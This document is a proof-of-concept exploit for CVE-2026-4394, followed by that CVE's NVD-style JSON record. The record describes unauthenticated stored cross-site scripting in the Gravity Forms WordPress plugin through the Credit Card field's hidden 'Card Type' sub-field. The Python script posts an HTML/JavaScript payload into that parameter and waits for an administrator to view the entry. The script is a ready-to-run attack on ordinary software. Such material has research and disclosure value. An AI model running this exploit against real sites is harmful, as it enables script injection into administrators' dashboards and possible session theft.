CVE-2026-4394

import requests # Target URL and Form ID target = "http://example.com" form_id = "1" field_id = "3" # ID of the Credit Card field # Malicious payload for the Card Type field (input_<id>.4) payload = '<img src=x onerror=alert(1)>' # Construct the POST request # Note: Form structure may vary, adjust field IDs accordingly post_data = { "is_submit_1": "1", "gform_submit": "1", f"input_{field_id}.1": "4111111111111111", # Card Number (Dummy) f"input_{field_id}.2": "12", # Expiry Month f"input_{field_id}.3": "25", # Expiry Year f"input_{field_id}.4": payload, # VULNERABLE PARAMETER: Card Type } try: response = requests.post(f"{target}/?gf_page=preview&id={form_id}", data=post_data) if response.status_code == 200: print("[+] Payload sent successfully.") print("[*] Wait for an admin to view the entry in the dashboard.") else: print(f"[-] Request failed with status {response.status_code}") except Exception as e: print(f"[!] Error: {e}")

{"cve": {"id": "CVE-2026-4394", "sourceIdentifier": "[email protected]", "published": "2026-04-08T00:16:05.147", "lastModified": "2026-04-27T19:04:22.650", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Gravity Forms plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Credit Card field's 'Card Type' sub-field (`input_<id>.4`) in all versions up to, and including, 2.9.30. This is due to the `get_value_entry_detail()` method in the `GF_Field_CreditCard` class outputting the card type value without escaping, combined with `get_value_save_entry()` accepting and storing unsanitized user input for the `input_<id>.4` parameter. The Card Type field is not rendered on the frontend form (it is normally derived from the card number), but the backend submission parser blindly accepts it if included in the POST request. This makes it possible for unauthenticated attackers to inject arbitrary web scripts that execute when an administrator views the form entry in the WordPress dashboard."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://docs.gravityforms.com/gravityforms-change-log/", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/gravityforms/tags/2.9.25/includes/fields/class-gf-field-creditcard.php#L516", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/gravityforms/tags/2.9.25/includes/fields/class-gf-field-creditcard.php#L577", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/gravityforms/trunk/includes/fields/class-gf-field-creditcard.php#L516", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/gravityforms/trunk/includes/fields/class-gf-field-creditcard.php#L577", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/6f38d7b7-6df6-47a2-a9ba-87ef1f039e44?source=cve", "source": "[email protected]"}]}}